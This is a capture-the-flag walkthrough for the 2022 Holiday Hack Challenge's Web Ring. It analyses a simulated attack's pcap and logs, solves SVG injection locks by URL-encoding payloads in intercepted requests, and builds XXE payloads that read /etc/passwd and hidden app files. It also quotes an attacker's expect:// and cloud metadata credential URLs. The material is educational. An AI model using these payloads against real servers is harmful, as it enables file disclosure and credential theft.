HHC 2022 - Web Ring Walkthrough
The walkthrough for the Web Ring, the third of 5 rings in the 2022 Holiday Hack Challenge
3.1 Naughty IP
Objective
Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines. Most of the traffic to this site is nice, but one IP address is being naughty! Which is it? Visit Sparkle Redberry in the Web Ring for hints.
Walkthrough
Open the Conversation Statistics (Statistics --> Conversations):
The question asks for an IP, so click on the IPv4 tab and sort the results by Bytes A->B. The top result yields two IP Addresses, 10.12.52.16 and 18.222.86.32. We can assume that given the name of the pcap (victim.pcap
), that is was captured from the victim computer. Since 10.12.52.16 shows up most in the conversations, it would be a safe guess to assume that's the IP Address of the victim computer.
Answer
Enter the IP Address within the Objectives panel: 18.222.86.32
3.2 Credential Mining
The first attack is a brute force login. What's the first username tried?
Walkthrough
Use the IP Addresses found from the previous question, to make the beginning of a wireshark filter. We have the Connections tab still open, so we right click on that line, and choose Apply As Filter --> Selected --> A<->B.
The question also mentions there were brute force login attempts. Logins typically occur with POST requests. We add to the filter to look only for POST requests. Below is our final filter:
ip.addr==18.222.86.32 && ip.addr==10.12.42.16 && http.request.method == POST
The first POST request, packet 7279, contains the answer: Alice
Answer
Enter the username within the Objectives panel: alice
3.3 404 FTW
The next attack is forced browsing where the naughty one is guessing URLs. What's the first successful URL path in this attack?
Walkthrough
This required switching to analyzing the weberror.log
. Again, we filter on the IP address of the target system. The question asks about the first successful URL aka an HTTP status code of 200 (despite the alliterative question title). After the brute force login attempts, the first successful response was to: /proc
┌──(kali㉿kali)-[~/Documents/CTFs/holidayhack2022/web]
└─$ cat weberror.log | grep "18.222.86.32" | grep "200 -" | tail -n 20 1 ⚙
<-- Truncated for Brevity -->
18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:47:46] "GET /proc HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:47:47] "GET /maintenance.html HTTP/1.1" 200 -
<-- Truncated for Brevity -->
Answer
Enter the page within the Objectives panel: proc
3.4 IMDS, XXE and Other Abbreviations
Objective
The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?
Walkthrough
For this solution, we'll dig back into the pcap file. We use the same beginning filter of IP Addresses. However, we add a filter of xml.doctype
to only return packets which contain XML Doctype. This can be inferred by reviewing the OWASP XXE link that was provided as a hint, as well as looking at the Wireshark XML Filters available for use.
ip.addr==18.222.86.32 && ip.addr==10.12.42.16 && xml.doctype
Using this filter, 7 packets return. We look at each of these packets to analyze what the attacker was looking for, as it appeared to do some local enumeration of the system - first code execution (packet 30683 - expect:///id
) and local file inclusion (packet 31021 - file:///etc/passwd
). The actual packet we're looking for is the last one in the filter, 32918, which shows the attacker attempting to get the server to fetch ec2 instance security credentials.
Answer:
Entire the entire hyperlink as the answer within the Objectives panel: http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
3.5 Find the Next Objective
Find Alabaster Snowball within the Web Ring tunnel and chat with him to find the next objective.
3.6 Open Boria Mine Door
Objective
Open the door to the Boria Mines. Help Alabaster Snowball in the Web Ring to get some hints for this challenge.
Hints
- Understanding how Content-Security-Policy works can help with this challenge.
- The locks take input, render some type of image, and process on the back end to unlock. To start, take a good look at the source HTML/JavaScript.
- Developers use both client- and server-side input validation to keep out naughty input.
Walkthrough
Navigate to the very end of the Web Ring tunnel and click on the Raspberry Pi. We are then given more details on the objective.
We are presented with 6 panels. The objective is to connect the nodes of each box, with what would APPEAR to be characters. However, with some brief enumeration of the system, we see the nodes are running as a javascript application. We can attempt to see if the input boxes allow for javascript to be injected.
Pin 1
Pin 1 is a straight forward challenge, which we can try to solve simply using UTF-8 characters. Find a UTF-8 Encoding Debugging Chart and find characters that overlap such as æ (U+00E6) or — (U+2014). We can enter either of those Unicode character values 18 times into echo
to print the values. Copy the output from the command line, and paste it into the text box above the first challenge and click GO
.
┌──(kali㉿kali)-[~/Documents/CTFs/holidayhack2022/web]
└─$ echo -e "\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6\u00e6"
ææææææææææææææææææ
┌──(kali㉿kali)-[~/Documents/CTFs/holidayhack2022/web]
└─$ echo -e "\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014"
—————————————
Pin 2
So, personally, I had never heard of this before, but was given the nudge to check out svg
. A quick google search can bring up this Mozilla developer page. After that... its a ton of experimentation.
A couple important hints - right in the heart of Mozilla's example it says: <!-- If you do not specify the stroke color the line will not be visible -->
. We specify the stroke color as white, since Pin 2 has two white nodes.
Secondly, we need a ballpark idea of the width/height of the box, at least to start. I used the frameOffsets
from app.js
as a ballpark estimate of 200-250.
Full disclosure, I'm not well versed enough in JS to know if this in fact the proper methodology, but was my methodology, and it turned out to work. Sometimes in hacking you don't have to be right, you just have to be lucky :)
Lastly, having a wider line helps with making the exercise a whole lot easier. On the svg
Developer page, it mentions a presentation attribute of stroke-width, which can be useful.
After that, it was just a result of a lot of trial and error. I was basically testing out the initial examples in Obsidian, which renders HTML if you do not put it in a code block, to get a general idea of if it would work or not, then testing it in the website, and adjusting as needed.
Pin 2 Answer
<svg width=200 height=200><line x1="0" y1="71" x2="250" y2="172" stroke="white" stroke-width="5" /> </svg>
Pin 3
Repeat the steps from Pin 2, but we have to adjust the parameters from having a downward sloping line (looking at it from left to right), to an upward sloping line. Additionally, the color of the line should be blue. To decrease the need to get the coordinates perfectly accurate, we increase the stroke-width
.
Pin 3 Answer:
<svg width=200 height=200><line x1="0" y1="100" x2="200" y2="20" stroke="blue" stroke-width="5" /> </svg>
Pin 4
This one had to be solved with a few extra layers of complexity. Firstly, it requires two lines, one blue line and one white line. Secondly, by viewing the pin4.js
code, it does a bit of code sanitization to remove double quotes, single quotes, and carrot symbols. Therefore the request has to be intercepted, and the entirety of the request has to be URL encoded (not just the default key characters).
First, the SVG code we developed that worked:
<svg width=200 height=200><line x1="0" y1="80" x2="200" y2="80" stroke="white" stroke-width="5" /><line x1="0" y1="0" x2="200" y2="0" stroke="blue" stroke-width="5" /> </svg>
Take the code, and paste it into the 4th pin. Turn on Burpsuite Intercept.
Original Request:
POST /pin4 HTTP/2
Host: hhc22-novel.kringlecon.com
Cookie: GCLB="fdce7ab17fbd75bc"; locks={"1":"03f1af1a-b543-4e59-8dd8-896e59b6ee28","2":"24b60823-abe7-42ba-83db-c3649d4a2afa","3":"08e18f99-597e-4e07-a344-0788f925ba91","id":"d057dd30-0f61-480e-9b15-d51ca4c47689"}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 277
Origin: https://hhc22-novel.kringlecon.com
Referer: https://hhc22-novel.kringlecon.com/pin4
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
inputTxt=svg+width%3D250+height%3D250%3Cline+x1%3D0%22+y1%3D%22130%22+x2%3D%22250%22+y2%3D%22130%22+stroke%3D%22blue%22+stroke-width%3D%225%22+%2F%3E%3Cline+x1%3D%220%22+y1%3D%2242%22+x2%3D%22250%22+y2%3D%2242%22+stroke%3D%22white%22+stroke-width%3D%2210%22+%2F%3E+%3C%2Fsvg%3E
We simply removed all of the value from the inputTxt
, pasted back in the original code, and then URL-encoded all characters:
Edited Request:
POST /pin4 HTTP/2
Host: hhc22-novel.kringlecon.com
Cookie: GCLB="fdce7ab17fbd75bc"; locks={"1":"03f1af1a-b543-4e59-8dd8-896e59b6ee28","2":"24b60823-abe7-42ba-83db-c3649d4a2afa","3":"08e18f99-597e-4e07-a344-0788f925ba91","id":"d057dd30-0f61-480e-9b15-d51ca4c47689"}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 546
Origin: https://hhc22-novel.kringlecon.com
Referer: https://hhc22-novel.kringlecon.com/pin4
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
inputTxt=%3c%73%76%67%20%77%69%64%74%68%3d%32%35%30%20%68%65%69%67%68%74%3d%32%35%30%3e%3c%6c%69%6e%65%20%78%31%3d%22%30%22%20%79%31%3d%22%31%33%30%22%20%78%32%3d%22%32%35%30%22%20%79%32%3d%22%31%33%30%22%20%73%74%72%6f%6b%65%3d%22%62%6c%75%65%22%20%73%74%72%6f%6b%65%2d%77%69%64%74%68%3d%22%35%22%20%2f%3e%3c%6c%69%6e%65%20%78%31%3d%22%30%22%20%79%31%3d%22%34%32%22%20%78%32%3d%22%32%35%30%22%20%79%32%3d%22%34%32%22%20%73%74%72%6f%6b%65%3d%22%77%68%69%74%65%22%20%73%74%72%6f%6b%65%2d%77%69%64%74%68%3d%22%31%30%22%20%2f%3e%20%3c%2f%73%76%67%3e
Pass the intercepted POST request along to the server and it will successfully unlock Pin 4!
Bonus- Pin 5
Technically completing the 4th pin unlocks the door and we are free to proceed onto the next objective. However, we were having a bit of fun with it and wanted to get the remaining two last pins.
It seemed challenging to get the pins for 5 to be a direct line. It appeared as if the page rendered the boxes with an offset. So since the app was playing games with us, we can play games back at it!
Our solution involved making very big, thick lines, to the point that each line looked more like boxes, rather than lines.
Pin 5 Code:
<svg width=250 height=250><line x1="0" y1="130" x2="250" y2="130" stroke="red" stroke-width="250" /><line x1="30" y1="250" x2="250" y2="250" stroke="blue" stroke-width="240" /> </svg>
We then take the output, and repeat the steps in Intruder as we did in [[#Pin 4 ]]
Original POST Request:
POST /pin5 HTTP/2
Host: hhc22-novel.kringlecon.com
Cookie: GCLB="0e86c948d8e274a4"; locks={"id":"864098dc-99b7-4246-bc00-a87866e73658"}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 194
Origin: https://hhc22-novel.kringlecon.com
Referer: https://hhc22-novel.kringlecon.com/pin5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
inputTxt=svg+width%3D250+height%3D250line+x1%3D0+y1%3D130+x2%3D250+y2%3D130+stroke%3Dred+stroke-width%3D250+%2Fline+x1%3D30+y1%3D250+x2%3D250+y2%3D250+stroke%3Dblue+stroke-width%3D240+%2F+%2Fsvg
Edited POST request payload after copying payload and URL Encoding all characters:
inputTxt=%3c%73%76%67%20%77%69%64%74%68%3d%32%35%30%20%68%65%69%67%68%74%3d%32%35%30%3e%3c%6c%69%6e%65%20%78%31%3d%22%30%22%20%79%31%3d%22%31%33%30%22%20%78%32%3d%22%32%35%30%22%20%79%32%3d%22%31%33%30%22%20%73%74%72%6f%6b%65%3d%22%72%65%64%22%20%73%74%72%6f%6b%65%2d%77%69%64%74%68%3d%22%32%35%30%22%20%2f%3e%3c%6c%69%6e%65%20%78%31%3d%22%33%30%22%20%79%31%3d%22%32%35%30%22%20%78%32%3d%22%32%35%30%22%20%79%32%3d%22%32%35%30%22%20%73%74%72%6f%6b%65%3d%22%62%6c%75%65%22%20%73%74%72%6f%6b%65%2d%77%69%64%74%68%3d%22%32%34%30%22%20%2f%3e%20%3c%2f%73%76%67%3e
Pin 5 Visual within Application
Bonus - Pin 6
The 6th pin does not require URL encoding of any kind. However, it does introduce a new color, lime
, which can be found by searching for svg colors.
Code used:
<svg width=252 height=252>
<line x1="0" y1="0" x2="252" y2="252" stroke="lime" stroke-width="300" />
<line x1="0" y1="80" x2="250" y2="110" stroke="red" stroke-width="15" />
<line x1="0" y1="120" x2="150" y2="170" stroke="blue" stroke-width="10" /> </svg>
Boria Mines Fully Unlocked!
Completing all 6 locks gives us some extra Kringlecoin (can't wait for KC Staking!!! Also have heard rumors of "Proof Of Joy" consensus mechanism on the roadmap), and a few extra hints to help on future challenges.
3.7 Find the Next Objective
Talk to Hal Tandybuck for the next Objective. Hal is located inside the Boria Mines.
3.8 Glamtariel's Fountain
Objective
Stare into Glamtariel's fountain and see if you can find the ring! What is the filename of the ring she presents you? Talk to Hal Tandybuck in the Web Ring for hints.
Hints
- Early parts of this challenge can be solved by focusing on Glamtariel's WORDS.
- Sometimes we can hit web pages with XXE when they aren't expecting it!
Website: https://glamtarielsfountain.com/
Walkthrough
Web Application Functionality
So this challenge is a bit tricky, not as it's technically complex, but just conceptually. It wasn't necessarily intuitive how to proceed, and we needed a few nudges from the community on how to proceed/how to know when we weren't going down a rabbit hole or poking at a dead end.
We make sure we have Burpsuite turned on, and FoxyProxy routing all traffic from the https://glamtarielsfountain.com to Burpsuite.
In short - we want to drag the "goodies" to the Princess and the Fountain. We want to do that by dragging each individual goody to the fountain and the princess individually.
Doing so will show different prompts. What we are interested in is looking for prompts with CAPITALIZED letters, as it gives us hints as how the application is designed, and the direction we should proceed with the attack path.
Santa --> Princess/Fountain: TAMPER
Elf --> Fountain/Princess : PATH
After dragging each of the 4 goodies to the princess a new set of goodies appear.
Repeating the steps from earlier, we get the other hints:
Ring --> Princess/Fountain: PATH (we got this hint already)
Note: depending on the sequence of what was provided to the princess fountain, the evil eye might appear. Click on it, and we can proceed as if nothing occurs. There was a certain order of providing the goodies to the princess/fountain that seemed to avoid this eye. However, it doesn't revert any progress we've made in the challenge thus far.
Ice Boat --> Fountain: TYPE
The last round of goodies are 4 rings - colored red, blue, and silver:
Now is when we choose to be a bit intentional with which goodies we drop. Drop each of the blue rings and the red ring on both the princess and the fountain. We get one more hint:
Blue Ring --> Fountain: SIMPLE FORMAT
Turn on Burpsuite Intercept before dropping the silver ring on the princess, and send it to the Repeater, which gives another hint (RINGLIST):
Output from Burpsuite:
This is the point where we get to the actual exploit development using XXE. One of the hints given in the game is a mention of XXE. We also see the POST request to /dropped
in JSON format. It is common that application can also process requests in XML (aka... "SIMPLE FORMAT" hint that was mentioned). We try that first, by changing the POST request from JSON to XML Format, with the same data provided (img1
, princess
) to validate the application accepts XML format:
Original Request:
XML code used:
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<imgDrop>img1</imgDrop>
<who>princess</who>
<reqType>xml</reqType>
</root>
Note a successful/normal response back from the application.
Error Messages
Its important to point out two potential responses from the application - one indicating an error in the XML format or the HTTP request: Sorry, we dont quite understand what you were trying to share
The second error message requires us to build out the exploit, XXE, for XML External Entity attacks. The hint through the game included the OWASP link which provides great context. Additionally, there's another great resource from NETSPI.
The attack can be allowed to enumerate local files on the system. We can replicate the attack with looking for /etc/passwd
to get the second error message, Sorry, we don't know anything about that:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<imgDrop>&xxe;</imgDrop>
<who>princess</who>
<reqType>xml</reqType>
</root>
This is an important distinction, as it can help guide us if we have a malformed XML versus the file not existing.
A third error message might occur if you try to perform the XXE in a parmeter other than the imgDrop
, for example, if we try to set <who>&xxe;</who>
the error message states: There's no one else here who can understand and communicate like that except me.^Well, I understand a bit, but can't communicate with it at all.
Note: For the formatting of the appResponse
value from the server, the string before the carrot is intended to be from the princess, and after the carrot is the fountain.
It's important to identify those two error messages, as it helps us understand if there's an error in our request, versus a file not existing.
Back to Enumeration
We've now set the stage to enumerate the system, and can connect the dots using the hints. This honestly was probably one of the toughest parts of the challenge, as it requires patience. A few hints that might help connect the dots:
- The princess mentions a RINGLIST file. We are supposed to infer that means
ringlist.txt
, a common text file extension. - There was also a hint of APP - which is missing from this walkthrough, but I found during my initial go through. More on that in a bit.
We need to better understand the type of web application is running to know where to enumerate for this ringlist file. Using the Wappalyzer plugin, we find it's a Flask app:
Enumerating on the structure of Flask application directory structures leads to a medium post that was useful - specifically this screenshot showing the folder structure for an application called FlaskApp
:
Which can be used as a reference point for searching. So we can infer that the general structure of the file we're looking for is file:///app/[unknown]/ringlist.txt
.
Crafting the XXE
Using the directory structure found earlier, we can develop a list of folders to try, such as:
file:///app/backend/ringlist.txt
file:///app/static/ringlist.txt
... which will eventually lead to the correct file of: app/static/images/ringlist.txt
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///app/static/images/ringlist.txt" >]>
<root>
<imgDrop>&xxe;</imgDrop>
<who>princess</who>
<reqType>xml</reqType>
</root>
Sending the request gives us a new app Response, as well as a new location to visit:
Visiting the Super Secret URI
Visiting the URI mentioned in the visit
value from the last server response loads a photo:
https://glamtarielsfountain.com/static/images/pholder-morethantopsupersecret63842.png
Zooming in on the photo, shows a folder, named x_phial_pholder_2022
with two "files", named bluering.txt
and redring.txt
.
If we remember the goodies in the last round of the challenge, there was 1 red ring, 2 blue rings, and 1 silver ring. Enumerate those file names, and there will be a silverring.txt
which provides more information with a new app response, and a new location to visit:
{
"appResp": "I'd so love to add the silver ring to my collection, but what's this? Someone has defiled my red ring. Click it out of the way please! .^Can't say that looks good. Someone has been up to no good. Probably that miserable Grinchum",
"droppedOn": "none",
"visit": "static/images/x_phial_pholder_2022/redring-supersupersecret928164.png, 257px,:27px"
}
Visiting the page: https://glamtarielsfountain.com/static/images/x_phial_pholder_2022/redring-supersupersecret928164.png
Here we find a red ring, with a string of goldring_to_be_deleted.txt
When attempting to access, a new app response indicates something needs to be changed:
{
"appResp": "Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them.^She's definitely hiding something.",
"droppedOn": "none",
"visit": "none"
}
Note that the words/characters REQ
and TYPE
are capitalized... perhaps a hint to change the reqtype
. This one requires a bit of patience as well. The <imgDrop>
value needs to change back to img1
, with the &xxe;
value moving to the reqType
key.
Note: You'll receive the same application response with theREQ
andTYPE
hint if you leave the<imgDrop>&xxe;</imgDrop>
. Additionally, you'll receive an app response of the old/original ring prompts if you useimg2
,img3
, orimg4
, and a "Sorry we don't know anything about that" if you use gibberish (i.e.<imgDrop>zentester</imgDrop>
). Definitely something I needed a nudge from the community in order to figure out, so don't be discouraged if it wasn't explicitly apparent :)
Gold Ring Location
Setting the <imgDrop>
to img1
and <reqType>
to &xxe;
yields another location to visit:
https://glamtarielsfountain.com/static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt" >]>
<root>
<imgDrop>img1</imgDrop>
<who>princess</who>
<reqType>&xxe;</reqType>
</root>
{
"appResp": "No, really I couldn't. Really? I can have the beautiful silver ring? I shouldn't, but if you insist, I accept! In return, behold, one of Kringle's golden rings! Grinchum dropped this one nearby. Makes one wonder how 'precious' it was to him. Though I haven't touched it myself. I've been keeping it safe until someone trustworth such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you",
"droppedOn": "none",
"visit": "static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px"
}
Navigate to the page:
https://glamtarielsfountain.com/static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png
Answer - GLORY
Use the filename - goldring-morethansupertopsecret76394734.png
as the answer in the Objectives panel.
Troubleshooting Along the Way
Note, if you get the following appResponse
, your cookies have expired, just click the "Reset" button within the web app and restart the process.
{
"appResp": "Trying to TAMPER with Kringle's favorite cookie recipe or the entrance tickets can't help you Grinchum! I'm not sure what you are looking for but it isn't here! Get out!^Miserable trickster! Please click him out of here.",
}
RING GLORRYYYYYYYY
Completing this Objective gets you the GLORY of receiving the Web Ring.
More Walkthroughs
Below are the other walkthroughs for the 2022 Holiday Hack Challenge: